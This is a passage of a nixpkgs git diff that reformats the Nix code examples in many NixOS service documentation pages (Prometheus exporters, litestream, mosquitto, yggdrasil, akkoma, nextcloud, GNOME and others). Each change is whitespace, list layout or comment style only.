-      # ...
-    };
+    # ...
+  };
 }
 ```
 
@@ -82,7 +84,12 @@ example:
     specific options and configuration:
     ```nix
     # nixpkgs/nixos/modules/services/prometheus/exporters/postfix.nix
-    { config, lib, pkgs, options }:
+    {
+      config,
+      lib,
+      pkgs,
+      options,
+    }:
     let
       # for convenience we define cfg here
       cfg = config.services.prometheus.exporters.postfix;
@@ -151,7 +158,12 @@ Should an exporter option change at some point, it is possible to add
 information about the change to the exporter definition similar to
 `nixpkgs/nixos/modules/rename.nix`:
 ```nix
-{ config, lib, pkgs, options }:
+{
+  config,
+  lib,
+  pkgs,
+  options,
+}:
 
 let
   cfg = config.services.prometheus.exporters.nginx;
diff --git a/nixos/modules/services/network-filesystems/litestream/default.md b/nixos/modules/services/network-filesystems/litestream/default.md
index 626d69df84a5..f422419a98a6 100644
--- a/nixos/modules/services/network-filesystems/litestream/default.md
+++ b/nixos/modules/services/network-filesystems/litestream/default.md
@@ -13,24 +13,26 @@ required permissions to access [grafana database](#opt-services.grafana.settings
 {
   users.users.litestream.extraGroups = [ "grafana" ];
 
-  systemd.services.grafana.serviceConfig.ExecStartPost = "+" + pkgs.writeShellScript "grant-grafana-permissions" ''
-    timeout=10
+  systemd.services.grafana.serviceConfig.ExecStartPost =
+    "+"
+    + pkgs.writeShellScript "grant-grafana-permissions" ''
+      timeout=10
 
-    while [ ! -f /var/lib/grafana/data/grafana.db ];
-    do
-      if [ "$timeout" == 0 ]; then
-        echo "ERROR: Timeout while waiting for /var/lib/grafana/data/grafana.db."
-        exit 1
-      fi
+      while [ ! -f /var/lib/grafana/data/grafana.db ];
+      do
+        if [ "$timeout" == 0 ]; then
+          echo "ERROR: Timeout while waiting for /var/lib/grafana/data/grafana.db."
+          exit 1
+        fi
 
-      sleep 1
+        sleep 1
 
-      ((timeout--))
-    done
+        ((timeout--))
+      done
 
-    find /var/lib/grafana -type d -exec chmod -v 775 {} \;
-    find /var/lib/grafana -type f -exec chmod -v 660 {} \;
-  '';
+      find /var/lib/grafana -type d -exec chmod -v 775 {} \;
+      find /var/lib/grafana -type f -exec chmod -v 660 {} \;
+    '';
 
   services.litestream = {
     enable = true;
@@ -41,9 +43,7 @@ required permissions to access [grafana database](#opt-services.grafana.settings
       dbs = [
         {
           path = "/var/lib/grafana/data/grafana.db";
-          replicas = [{
-            url = "s3://mybkt.litestream.io/grafana";
-          }];
+          replicas = [ { url = "s3://mybkt.litestream.io/grafana"; } ];
         }
       ];
     };
diff --git a/nixos/modules/services/network-filesystems/samba.md b/nixos/modules/services/network-filesystems/samba.md
index 229320220974..bf55c24e1ede 100644
--- a/nixos/modules/services/network-filesystems/samba.md
+++ b/nixos/modules/services/network-filesystems/samba.md
@@ -7,9 +7,7 @@
 A minimal configuration looks like this:
 
 ```nix
-{
-  services.samba.enable = true;
-}
+{ services.samba.enable = true; }
 ```
 
 This configuration automatically enables `smbd`, `nmbd` and `winbindd` services by default.
diff --git a/nixos/modules/services/networking/anubis.md b/nixos/modules/services/networking/anubis.md
index 8a9a2ea76aa6..533ece7bfbd3 100644
--- a/nixos/modules/services/networking/anubis.md
+++ b/nixos/modules/services/networking/anubis.md
@@ -11,7 +11,8 @@ instances, but TCP sockets are also supported.
 A minimal configuration with [nginx](#opt-services.nginx.enable) may look like the following:
 
 ```nix
-{ config, ... }: {
+{ config, ... }:
+{
   services.anubis.instances.default.settings.TARGET = "http://localhost:8000";
 
   # required due to unix socket permissions
@@ -49,7 +50,9 @@ It is possible to configure default settings for all instances of Anubis, via {o
 ```nix
 {
   services.anubis.defaultOptions = {
-    botPolicy = { dnsbl = false; };
+    botPolicy = {
+      dnsbl = false;
+    };
     settings.DIFFICULTY = 3;
   };
 }
diff --git a/nixos/modules/services/networking/crab-hole.md b/nixos/modules/services/networking/crab-hole.md
index 52a452b91545..a3e1919a92e1 100644
--- a/nixos/modules/services/networking/crab-hole.md
+++ b/nixos/modules/services/networking/crab-hole.md
@@ -209,7 +209,5 @@ For ACME for example this would be `acme:acme`.
 To give the crab-hole service access to these files, the group which owns the certificate can be added as a supplementary group to the service.
 For ACME for example:
 ```nix
-{
-  services.crab-hole.supplementaryGroups = [ "acme" ];
-}
+{ services.crab-hole.supplementaryGroups = [ "acme" ]; }
 ```
diff --git a/nixos/modules/services/networking/doh-server.md b/nixos/modules/services/networking/doh-server.md
index 2ac1630aa29d..730100eec688 100644
--- a/nixos/modules/services/networking/doh-server.md
+++ b/nixos/modules/services/networking/doh-server.md
@@ -35,7 +35,10 @@ Setup with Nginx + ACME (recommended):
     defaults.email = "you@example.com";
   };
 
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
 }
 ```
 
diff --git a/nixos/modules/services/networking/jotta-cli.md b/nixos/modules/services/networking/jotta-cli.md
index d5629465377d..7e84aa18599a 100644
--- a/nixos/modules/services/networking/jotta-cli.md
+++ b/nixos/modules/services/networking/jotta-cli.md
@@ -5,9 +5,7 @@ The [Jottacloud Command-line Tool](https://docs.jottacloud.com/en/articles/14368
 ## Quick Start {#module-services-jotta-cli-quick-start}
 
 ```nix
-{
-  services.jotta-cli.enable = true;
-}
+{ services.jotta-cli.enable = true; }
 ```
 
 This adds `jotta-cli` to `environment.systemPackages` and starts a user service that runs `jottad` with the default options.
diff --git a/nixos/modules/services/networking/mosquitto.md b/nixos/modules/services/networking/mosquitto.md
index 66b3ad6cfa8f..53b5beb16b89 100644
--- a/nixos/modules/services/networking/mosquitto.md
+++ b/nixos/modules/services/networking/mosquitto.md
@@ -10,11 +10,13 @@ A minimal configuration for Mosquitto is
 {
   services.mosquitto = {
     enable = true;
-    listeners = [ {
-      acl = [ "pattern readwrite #" ];
-      omitPasswordAuth = true;
-      settings.allow_anonymous = true;
-    } ];
+    listeners = [
+      {
+        acl = [ "pattern readwrite #" ];
+        omitPasswordAuth = true;
+        settings.allow_anonymous = true;
+      }
+    ];
   };
 }
 ```
@@ -30,18 +32,20 @@ like
 {
   services.mosquitto = {
     enable = true;
-    listeners = [ {
-      users = {
-        monitor = {
-          acl = [ "read #" ];
-          password = "monitor";
+    listeners = [
+      {
+        users = {
+          monitor = {
+            acl = [ "read #" ];
+            password = "monitor";
+          };
+          service = {
+            acl = [ "write service/#" ];
+            password = "service";
+          };
         };
-        service = {
-          acl = [ "write service/#" ];
-          password = "service";
-        };
-      };
-    } ];
+      }
+    ];
   };
 }
 ```
@@ -52,15 +56,17 @@ TLS authentication is configured by setting TLS-related options of the listener:
 {
   services.mosquitto = {
     enable = true;
-    listeners = [ {
-      port = 8883; # port change is not required, but helpful to avoid mistakes
-      # ...
-      settings = {
-        cafile = "/path/to/mqtt.ca.pem";
-        certfile = "/path/to/mqtt.pem";
-        keyfile = "/path/to/mqtt.key";
-      };
-    } ];
+    listeners = [
+      {
+        port = 8883; # port change is not required, but helpful to avoid mistakes
+        # ...
+        settings = {
+          cafile = "/path/to/mqtt.ca.pem";
+          certfile = "/path/to/mqtt.pem";
+          keyfile = "/path/to/mqtt.key";
+        };
+      }
+    ];
   };
 }
 ```
diff --git a/nixos/modules/services/networking/netbird.md b/nixos/modules/services/networking/netbird.md
index 876c27cb0d22..37e104795237 100644
--- a/nixos/modules/services/networking/netbird.md
+++ b/nixos/modules/services/networking/netbird.md
@@ -5,9 +5,7 @@
 The absolute minimal configuration for the Netbird client daemon looks like this:
 
 ```nix
-{
-  services.netbird.enable = true;
-}
+{ services.netbird.enable = true; }
 ```
 
 This will set up a netbird service listening on the port `51820` associated to the
diff --git a/nixos/modules/services/networking/pleroma.md b/nixos/modules/services/networking/pleroma.md
index c2313fd63e6a..b2a366a0fd38 100644
--- a/nixos/modules/services/networking/pleroma.md
+++ b/nixos/modules/services/networking/pleroma.md
@@ -47,34 +47,34 @@ This is an example of configuration, where [](#opt-services.pleroma.configs) opt
     secretConfigFile = "/var/lib/pleroma/secrets.exs";
     configs = [
       ''
-      import Config
+        import Config
 
-      config :pleroma, Pleroma.Web.Endpoint,
-        url: [host: "pleroma.example.net", scheme: "https", port: 443],
-        http: [ip: {127, 0, 0, 1}, port: 4000]
+        config :pleroma, Pleroma.Web.Endpoint,
+          url: [host: "pleroma.example.net", scheme: "https", port: 443],
+          http: [ip: {127, 0, 0, 1}, port: 4000]
 
-      config :pleroma, :instance,
-        name: "Test",
-        email: "admin@example.net",
-        notify_email: "admin@example.net",
-        limit: 5000,
-        registrations_open: true
+        config :pleroma, :instance,
+          name: "Test",
+          email: "admin@example.net",
+          notify_email: "admin@example.net",
+          limit: 5000,
+          registrations_open: true
 
-      config :pleroma, :media_proxy,
-        enabled: false,
-        redirect_on_failure: true
+        config :pleroma, :media_proxy,
+          enabled: false,
+          redirect_on_failure: true
 
-      config :pleroma, Pleroma.Repo,
-        adapter: Ecto.Adapters.Postgres,
-        username: "pleroma",
-        database: "pleroma",
-        hostname: "localhost"
+        config :pleroma, Pleroma.Repo,
+          adapter: Ecto.Adapters.Postgres,
+          username: "pleroma",
+          database: "pleroma",
+          hostname: "localhost"
 
-      # Configure web push notifications
-      config :web_push_encryption, :vapid_details,
-        subject: "mailto:admin@example.net"
+        # Configure web push notifications
+        config :web_push_encryption, :vapid_details,
+          subject: "mailto:admin@example.net"
 
-      # ... TO CONTINUE ...
+        # ... TO CONTINUE ...
       ''
     ];
   };
diff --git a/nixos/modules/services/networking/prosody.md b/nixos/modules/services/networking/prosody.md
index d6eee4e29f0a..f3042dedd163 100644
--- a/nixos/modules/services/networking/prosody.md
+++ b/nixos/modules/services/networking/prosody.md
@@ -33,16 +33,14 @@ endpoint will look like this:
     ssl.cert = "/var/lib/acme/example.org/fullchain.pem";
     ssl.key = "/var/lib/acme/example.org/key.pem";
     virtualHosts."example.org" = {
-        enabled = true;
-        domain = "example.org";
-        ssl.cert = "/var/lib/acme/example.org/fullchain.pem";
-        ssl.key = "/var/lib/acme/example.org/key.pem";
+      enabled = true;
+      domain = "example.org";
+      ssl.cert = "/var/lib/acme/example.org/fullchain.pem";
+      ssl.key = "/var/lib/acme/example.org/key.pem";
     };
-    muc = [ {
-        domain = "conference.example.org";
-    } ];
+    muc = [ { domain = "conference.example.org"; } ];
     uploadHttp = {
-        domain = "upload.example.org";
+      domain = "upload.example.org";
     };
   };
 }
@@ -68,7 +66,10 @@ a TLS certificate for the three endponits:
       "example.org" = {
         webroot = "/var/www/example.org";
         email = "root@example.org";
-        extraDomainNames = [ "conference.example.org" "upload.example.org" ];
+        extraDomainNames = [
+          "conference.example.org"
+          "upload.example.org"
+        ];
       };
     };
   };
diff --git a/nixos/modules/services/networking/yggdrasil.md b/nixos/modules/services/networking/yggdrasil.md
index 7b899f9d6ddb..1b6f1868a434 100644
--- a/nixos/modules/services/networking/yggdrasil.md
+++ b/nixos/modules/services/networking/yggdrasil.md
@@ -17,8 +17,8 @@ An annotated example of a simple configuration:
   services.yggdrasil = {
     enable = true;
     persistentKeys = false;
-      # The NixOS module will generate new keys and a new IPv6 address each time
-      # it is started if persistentKeys is not enabled.
+    # The NixOS module will generate new keys and a new IPv6 address each time
+    # it is started if persistentKeys is not enabled.
 
     settings = {
       Peers = [
@@ -44,13 +44,17 @@ let
   address = "210:5217:69c0:9afc:1b95:b9f:8718:c3d2";
   prefix = "310:5217:69c0:9afc";
   # taken from the output of "yggdrasilctl getself".
-in {
+in
+{
 
   services.yggdrasil = {
     enable = true;
     persistentKeys = true; # Maintain a fixed public key and IPv6 address.
     settings = {
-      Peers = [ "tcp://1.2.3.4:1024" "tcp://1.2.3.5:1024" ];
+      Peers = [
+        "tcp://1.2.3.4:1024"
+        "tcp://1.2.3.5:1024"
+      ];
       NodeInfo = {
         # This information is visible to the network.
         name = config.networking.hostName;
@@ -60,13 +64,15 @@ in {
   };
 
   boot.kernel.sysctl."net.ipv6.conf.all.forwarding" = 1;
-    # Forward traffic under the prefix.
+  # Forward traffic under the prefix.
 
-  networking.interfaces.${eth0}.ipv6.addresses = [{
-    # Set a 300::/8 address on the local physical device.
-    address = prefix + "::1";
-    prefixLength = 64;
-  }];
+  networking.interfaces.${eth0}.ipv6.addresses = [
+    {
+      # Set a 300::/8 address on the local physical device.
+      address = prefix + "::1";
+      prefixLength = 64;
+    }
+  ];
 
   services.radvd = {
     # Announce the 300::/8 prefix to eth0.
@@ -93,7 +99,7 @@ host:
 ```nix
 let
   yggPrefix64 = "310:5217:69c0:9afc";
-    # Again, taken from the output of "yggdrasilctl getself".
+  # Again, taken from the output of "yggdrasilctl getself".
 in
 {
   boot.kernel.sysctl."net.ipv6.conf.all.forwarding" = 1;
@@ -105,10 +111,12 @@ in
 
     interfaces.br0 = {
       # … configured with a prefix address.
-      ipv6.addresses = [{
-        address = "${yggPrefix64}::1";
-        prefixLength = 64;
-      }];
+      ipv6.addresses = [
+        {
+          address = "${yggPrefix64}::1";
+          prefixLength = 64;
+        }
+      ];
     };
   };
 
@@ -117,24 +125,30 @@ in
     privateNetwork = true;
     hostBridge = "br0";
     # Attach the container to the bridge only.
-    config = { config, pkgs, ... }: {
-      networking.interfaces.eth0.ipv6 = {
-        addresses = [{
-          # Configure a prefix address.
-          address = "${yggPrefix64}::2";
-          prefixLength = 64;
-        }];
-        routes = [{
-          # Configure the prefix route.
-          address = "200::";
-          prefixLength = 7;
-          via = "${yggPrefix64}::1";
-        }];
-      };
+    config =
+      { config, pkgs, ... }:
+      {
+        networking.interfaces.eth0.ipv6 = {
+          addresses = [
+            {
+              # Configure a prefix address.
+              address = "${yggPrefix64}::2";
+              prefixLength = 64;
+            }
+          ];
+          routes = [
+            {
+              # Configure the prefix route.
+              address = "200::";
+              prefixLength = 7;
+              via = "${yggPrefix64}::1";
+            }
+          ];
+        };
 
-      services.httpd.enable = true;
-      networking.firewall.allowedTCPPorts = [ 80 ];
-    };
+        services.httpd.enable = true;
+        networking.firewall.allowedTCPPorts = [ 80 ];
+      };
   };
 
 }
diff --git a/nixos/modules/services/search/meilisearch.md b/nixos/modules/services/search/meilisearch.md
index b9f65861b1d1..d2ed4974e4eb 100644
--- a/nixos/modules/services/search/meilisearch.md
+++ b/nixos/modules/services/search/meilisearch.md
@@ -7,9 +7,7 @@ Meilisearch is a lightweight, fast and powerful search engine. Think elastic sea
 the minimum to start meilisearch is
 
 ```nix
-{
-  services.meilisearch.enable = true;
-}
+{ services.meilisearch.enable = true; }
 ```
 
 this will start the http server included with meilisearch on port 7700.
diff --git a/nixos/modules/services/system/kerberos/kerberos-server.md b/nixos/modules/services/system/kerberos/kerberos-server.md
index ba3b1057f382..4aa883b8e68b 100644
--- a/nixos/modules/services/system/kerberos/kerberos-server.md
+++ b/nixos/modules/services/system/kerberos/kerberos-server.md
@@ -30,7 +30,15 @@ To enable a Kerberos server:
     enable = true;
     settings = {
       realms."EXAMPLE.COM" = {
-        acl = [{ principal = "adminuser"; access=  ["add" "cpw"]; }];
+        acl = [
+          {
+            principal = "adminuser";
+            access = [
+              "add"
+              "cpw"
+            ];
+          }
+        ];
       };
     };
   };
diff --git a/nixos/modules/services/system/systemd-lock-handler.md b/nixos/modules/services/system/systemd-lock-handler.md
index ac9ee00ae4bc..779fdab3b44d 100644
--- a/nixos/modules/services/system/systemd-lock-handler.md
+++ b/nixos/modules/services/system/systemd-lock-handler.md
@@ -17,17 +17,17 @@ For example, to create a service for `swaylock`:
 
   systemd.user.services.swaylock = {
     description = "Screen locker for Wayland";
-    documentation = ["man:swaylock(1)"];
+    documentation = [ "man:swaylock(1)" ];
 
     # If swaylock exits cleanly, unlock the session:
-    onSuccess = ["unlock.target"];
+    onSuccess = [ "unlock.target" ];
 
     # When lock.target is stopped, stops this too:
-    partOf = ["lock.target"];
+    partOf = [ "lock.target" ];
 
     # Delay lock.target until this service is ready:
-    before = ["lock.target"];
-    wantedBy = ["lock.target"];
+    before = [ "lock.target" ];
+    wantedBy = [ "lock.target" ];
 
     serviceConfig = {
       # systemd will consider this service started when swaylock forks...
diff --git a/nixos/modules/services/web-apps/akkoma.md b/nixos/modules/services/web-apps/akkoma.md
index 13b074b228a4..e05ab034de2d 100644
--- a/nixos/modules/services/web-apps/akkoma.md
+++ b/nixos/modules/services/web-apps/akkoma.md
@@ -139,9 +139,8 @@ received by the instance.
 
 ```nix
 {
-  services.akkoma.config.":pleroma".":mrf".policies =
-    map (pkgs.formats.elixirConf { }).lib.mkRaw [
-      "Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy"
+  services.akkoma.config.":pleroma".":mrf".policies = map (pkgs.formats.elixirConf { }).lib.mkRaw [
+    "Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy"
   ];
 }
 ```
@@ -171,29 +170,35 @@ derivation.
 
 ```nix
 {
-  services.akkoma.frontends.primary.package = pkgs.runCommand "akkoma-fe" {
-    config = builtins.toJSON {
-      expertLevel = 1;
-      collapseMessageWithSubject = false;
-      stopGifs = false;
-      replyVisibility = "following";
-      webPushHideIfCW = true;
-      hideScopeNotice = true;
-      renderMisskeyMarkdown = false;
-      hideSiteFavicon = true;
-      postContentType = "text/markdown";
-      showNavShortcuts = false;
-    };
-    nativeBuildInputs = with pkgs; [ jq xorg.lndir ];
-    passAsFile = [ "config" ];
-  } ''
-    mkdir $out
-    lndir ${pkgs.akkoma-frontends.akkoma-fe} $out
+  services.akkoma.frontends.primary.package =
+    pkgs.runCommand "akkoma-fe"
+      {
+        config = builtins.toJSON {
+          expertLevel = 1;
+          collapseMessageWithSubject = false;
+          stopGifs = false;
+          replyVisibility = "following";
+          webPushHideIfCW = true;
+          hideScopeNotice = true;
+          renderMisskeyMarkdown = false;
+          hideSiteFavicon = true;
+          postContentType = "text/markdown";
+          showNavShortcuts = false;
+        };
+        nativeBuildInputs = with pkgs; [
+          jq
+          xorg.lndir
+        ];
+        passAsFile = [ "config" ];
+      }
+      ''
+        mkdir $out
+        lndir ${pkgs.akkoma-frontends.akkoma-fe} $out
 
-    rm $out/static/config.json
-    jq -s add ${pkgs.akkoma-frontends.akkoma-fe}/static/config.json ${config} \
-      >$out/static/config.json
-  '';
+        rm $out/static/config.json
+        jq -s add ${pkgs.akkoma-frontends.akkoma-fe}/static/config.json ${config} \
+          >$out/static/config.json
+      '';
 }
 ```
 
@@ -212,15 +217,11 @@ of the fediverse and providing a pleasant experience to the users of an instance
 ```nix
 {
   services.akkoma.config.":pleroma" = with (pkgs.formats.elixirConf { }).lib; {
-    ":mrf".policies = map mkRaw [
-      "Pleroma.Web.ActivityPub.MRF.SimplePolicy"
-    ];
+    ":mrf".policies = map mkRaw [ "Pleroma.Web.ActivityPub.MRF.SimplePolicy" ];
 
     ":mrf_simple" = {
       # Tag all media as sensitive
-      media_nsfw = mkMap {
-        "nsfw.weird.kinky" = "Untagged NSFW content";
-      };
+      media_nsfw = mkMap { "nsfw.weird.kinky" = "Untagged NSFW content"; };
 
       # Reject all activities except deletes
       reject = mkMap {
@@ -244,11 +245,12 @@ the file name.
 ```nix
 {
   services.akkoma.config.":pleroma"."Pleroma.Upload".filters =
-    map (pkgs.formats.elixirConf { }).lib.mkRaw [
-      "Pleroma.Upload.Filter.Exiftool"
-      "Pleroma.Upload.Filter.Dedupe"
-      "Pleroma.Upload.Filter.AnonymizeFilename"
-    ];
+    map (pkgs.formats.elixirConf { }).lib.mkRaw
+      [
+        "Pleroma.Upload.Filter.Exiftool"
+        "Pleroma.Upload.Filter.Dedupe"
+        "Pleroma.Upload.Filter.AnonymizeFilename"
+      ];
 }
 ```
 
@@ -322,9 +324,7 @@ details.
 The Akkoma systemd service may be confined to a chroot with
 
 ```nix
-{
-  services.systemd.akkoma.confinement.enable = true;
-}
+{ services.systemd.akkoma.confinement.enable = true; }
 ```
 
 Confinement of services is not generally supported in NixOS and therefore disabled by default.
diff --git a/nixos/modules/services/web-apps/c2fmzq-server.md b/nixos/modules/services/web-apps/c2fmzq-server.md
index d8e59b3ad210..3eb44d7d9499 100644
--- a/nixos/modules/services/web-apps/c2fmzq-server.md
+++ b/nixos/modules/services/web-apps/c2fmzq-server.md
@@ -5,9 +5,7 @@ including but not limited to pictures and videos.
 
 The service `c2fmzq-server` can be enabled by setting
 ```nix
-{
-  services.c2fmzq-server.enable = true;
-}
+{ services.c2fmzq-server.enable = true; }
 ```
 This will spin up an instance of the server which is API-compatible with
 [Stingle Photos](https://stingle.org) and an experimental Progressive Web App
diff --git a/nixos/modules/services/web-apps/castopod.md b/nixos/modules/services/web-apps/castopod.md
index 5ecd807686fd..6c654c6ad363 100644
--- a/nixos/modules/services/web-apps/castopod.md
+++ b/nixos/modules/services/web-apps/castopod.md
@@ -9,7 +9,10 @@ Use the following configuration to start a public instance of Castopod on `casto
 
 ```nix
 {
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
   services.castopod = {
     enable = true;
     database.createLocally = true;
diff --git a/nixos/modules/services/web-apps/filesender.md b/nixos/modules/services/web-apps/filesender.md
index bb971fb984e5..0f768857e905 100644
--- a/nixos/modules/services/web-apps/filesender.md
+++ b/nixos/modules/services/web-apps/filesender.md
@@ -10,10 +10,13 @@ Minimal working instance of FileSender that uses password-authentication would l
 
 ```nix
 let
-  format = pkgs.formats.php {};
+  format = pkgs.formats.php { };
 in
 {
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
   services.filesender = {
     enable = true;
     localDomain = "filesender.example.com";
diff --git a/nixos/modules/services/web-apps/gotosocial.md b/nixos/modules/services/web-apps/gotosocial.md
index b3540f0d5811..f498fdbef506 100644
--- a/nixos/modules/services/web-apps/gotosocial.md
+++ b/nixos/modules/services/web-apps/gotosocial.md
@@ -33,7 +33,10 @@ HTTP reverse proxy such as nginx.
 
 ```nix
 {
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
   services.nginx = {
     enable = true;
     clientMaxBodySize = "40M";
diff --git a/nixos/modules/services/web-apps/jitsi-meet.md b/nixos/modules/services/web-apps/jitsi-meet.md
index 705cf69274ca..6ac8b8a0b6e9 100644
--- a/nixos/modules/services/web-apps/jitsi-meet.md
+++ b/nixos/modules/services/web-apps/jitsi-meet.md
@@ -13,7 +13,10 @@ A minimal configuration using Let's Encrypt for TLS certificates looks like this
     hostName = "jitsi.example.com";
   };
   services.jitsi-videobridge.openFirewall = true;
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
   security.acme.email = "me@example.com";
   security.acme.acceptTerms = true;
 }
@@ -46,7 +49,10 @@ Here is the minimal configuration with additional configurations:
     };
   };
   services.jitsi-videobridge.openFirewall = true;
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
   security.acme.email = "me@example.com";
   security.acme.acceptTerms = true;
 }
diff --git a/nixos/modules/services/web-apps/keycloak.md b/nixos/modules/services/web-apps/keycloak.md
index 4036885ce151..4bf8c9fcad71 100644
--- a/nixos/modules/services/web-apps/keycloak.md
+++ b/nixos/modules/services/web-apps/keycloak.md
@@ -132,7 +132,7 @@ A basic configuration with some custom settings could look like this:
       hostname = "keycloak.example.com";
       hostname-strict-backchannel = true;
     };
-    initialAdminPassword = "e6Wcm0RrtegMEHl";  # change on first login
+    initialAdminPassword = "e6Wcm0RrtegMEHl"; # change on first login
     sslCertificate = "/run/keys/ssl_cert";
     sslCertificateKey = "/run/keys/ssl_key";
     database.passwordFile = "/run/keys/db_password";
diff --git a/nixos/modules/services/web-apps/nextcloud.md b/nixos/modules/services/web-apps/nextcloud.md
index ce09181e1a81..05300487cc9a 100644
--- a/nixos/modules/services/web-apps/nextcloud.md
+++ b/nixos/modules/services/web-apps/nextcloud.md
@@ -38,7 +38,10 @@ A very basic configuration may look like this:
     };
   };
 
-  networking.firewall.allowedTCPPorts = [ 80 443 ];
+  networking.firewall.allowedTCPPorts = [
+    80
+    443
+  ];
 }
 ```
 
@@ -69,7 +72,8 @@ Custom service units that need to run `nextcloud-occ` either need elevated privi
 or the systemd configuration from `nextcloud-setup.service` (recommended):
 
 ```nix
-{ config, ... }: {
+{ config, ... }:
+{
   systemd.services.my-custom-service = {
     script = ''
       nextcloud-occ …
@@ -78,7 +82,8 @@ or the systemd configuration from `nextcloud-setup.service` (recommended):
       inherit (config.systemd.services.nextcloud-cron.serviceConfig)
         User
         LoadCredential
-        KillMode;
+        KillMode
+        ;
     };
   };
 }
@@ -208,9 +213,7 @@ release notes when upgrading.
     the cache size to zero:
 
     ```nix
-    {
-      services.nextcloud.phpOptions."realpath_cache_size" = "0";
-    }
+    { services.nextcloud.phpOptions."realpath_cache_size" = "0"; }
     ```
 
 ## Using an alternative webserver as reverse-proxy (e.g. `httpd`) {#module-services-nextcloud-httpd}
@@ -223,13 +226,19 @@ settings `listen.owner` &amp; `listen.group` in the
 
 An exemplary configuration may look like this:
 ```nix
-{ config, lib, pkgs, ... }: {
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+{
   services.nginx.enable = false;
   services.nextcloud = {
     enable = true;
     hostName = "localhost";
 
-    /* further, required options */
+    # further, required options
   };
   services.phpfpm.pools.nextcloud.settings = {
     "listen.owner" = config.services.httpd.user;
@@ -277,7 +286,8 @@ When using this setting, apps can no longer be managed statefully because this c
 that are managed by Nix:
 
 ```nix
-{ config, pkgs, ... }: {
+{ config, pkgs, ... }:
+{
   services.nextcloud.extraApps = with config.services.nextcloud.package.packages.apps; {
     inherit user_oidc calendar contacts;
   };
@@ -328,7 +338,7 @@ in NixOS for a safe upgrade-path before removing those. In that case we should k
 packages, but mark them as insecure in an expression like this (in
 `<nixpkgs/pkgs/servers/nextcloud/default.nix>`):
 ```nix
-/* ... */
+# ...
 {
   nextcloud17 = generic {
     version = "17.0.x";
diff --git a/nixos/modules/services/web-apps/pict-rs.md b/nixos/modules/services/web-apps/pict-rs.md
index 56c51e0d7259..9cc0b3cbf9b3 100644
--- a/nixos/modules/services/web-apps/pict-rs.md
+++ b/nixos/modules/services/web-apps/pict-rs.md
@@ -7,9 +7,7 @@ pict-rs is a  a simple image hosting service.
 the minimum to start pict-rs is
 
 ```nix
-{
-  services.pict-rs.enable = true;
-}
+{ services.pict-rs.enable = true; }
 ```
 
 this will start the http server on port 8080 by default.
diff --git a/nixos/modules/services/web-servers/garage.md b/nixos/modules/services/web-servers/garage.md
index fbefd1914d87..c27f92f7f9d0 100644
--- a/nixos/modules/services/web-servers/garage.md
+++ b/nixos/modules/services/web-servers/garage.md
@@ -81,7 +81,7 @@ in NixOS for a safe upgrade-path before removing those. In that case we should k
 packages, but mark them as insecure in an expression like this (in
 `<nixpkgs/pkgs/tools/filesystem/garage/default.nix>`):
 ```nix
-/* ... */
+# ...
 {
   garage_0_7_3 = generic {
     version = "0.7.3";
diff --git a/nixos/modules/services/x11/desktop-managers/gnome.md b/nixos/modules/services/x11/desktop-managers/gnome.md
index 7f7801305e23..730751aff0e4 100644
--- a/nixos/modules/services/x11/desktop-managers/gnome.md
+++ b/nixos/modules/services/x11/desktop-managers/gnome.md
@@ -26,9 +26,7 @@ The default applications used in NixOS are very minimal, inspired by the default
 If you’d like to only use the GNOME desktop and not the apps, you can disable them with:
 
 ```nix
-{
-  services.gnome.core-apps.enable = false;
-}
+{ services.gnome.core-apps.enable = false; }
 ```
 
 and none of them will be installed.
@@ -55,9 +53,7 @@ Note, however, that doing so is not supported and might break some applications.
 You can install all of the GNOME games with:
 
 ```nix
-{
-  services.gnome.games.enable = true;
-}
+{ services.gnome.games.enable = true; }
 ```
 
 ### GNOME core developer tools {#sec-gnome-core-developer-tools}
@@ -65,9 +61,7 @@ You can install all of the GNOME games with:
 You can install GNOME core developer tools with:
 
 ```nix
-{
-  services.gnome.core-developer-tools.enable = true;
-}
+{ services.gnome.core-developer-tools.enable = true; }
 ```
 
 ## Enabling GNOME Flashback {#sec-gnome-enable-flashback}
@@ -75,9 +69,7 @@ You can install GNOME core developer tools with:
 GNOME Flashback provides a desktop environment based on the classic GNOME 2 architecture. You can enable the default GNOME Flashback session, which uses the Metacity window manager, with:
 
 ```nix
-{
-  services.xserver.desktopManager.gnome.flashback.enableMetacity = true;
-}
+{ services.xserver.desktopManager.gnome.flashback.enableMetacity = true; }
 ```
 
 It is also possible to create custom sessions that replace Metacity with a different window manager using [](#opt-services.xserver.desktopManager.gnome.flashback.customSessions).
diff --git a/nixos/modules/services/x11/desktop-managers/pantheon.md b/nixos/modules/services/x11/desktop-managers/pantheon.md
index c964321d4814..f4c488bf6dec 100644
--- a/nixos/modules/services/x11/desktop-managers/pantheon.md
+++ b/nixos/modules/services/x11/desktop-managers/pantheon.md
@@ -6,9 +6,7 @@ Pantheon is the desktop environment created for the elementary OS distribution.
 
 All of Pantheon is working in NixOS and the applications should be available, aside from a few [exceptions](https://github.com/NixOS/nixpkgs/issues/58161). To enable Pantheon, set
 ```nix
-{
-  services.xserver.desktopManager.pantheon.enable = true;
-}
+{ services.xserver.desktopManager.pantheon.enable = true; }
 ```
 This automatically enables LightDM and Pantheon's LightDM greeter. If you'd like to disable this, set
 ```nix
@@ -19,9 +17,7 @@ This automatically enables LightDM and Pantheon's LightDM greeter. If you'd like
 ```
 but please be aware using Pantheon without LightDM as a display manager will break screenlocking from the UI. The NixOS module for Pantheon installs all of Pantheon's default applications. If you'd like to not install Pantheon's apps, set
 ```nix
-{
-  services.pantheon.apps.enable = false;
-}
+{ services.pantheon.apps.enable = false; }
 ```
 You can also use [](#opt-environment.pantheon.excludePackages) to remove any other app (like `elementary-mail`).
 
@@ -37,18 +33,11 @@ to configure the programs with plugs or indicators.
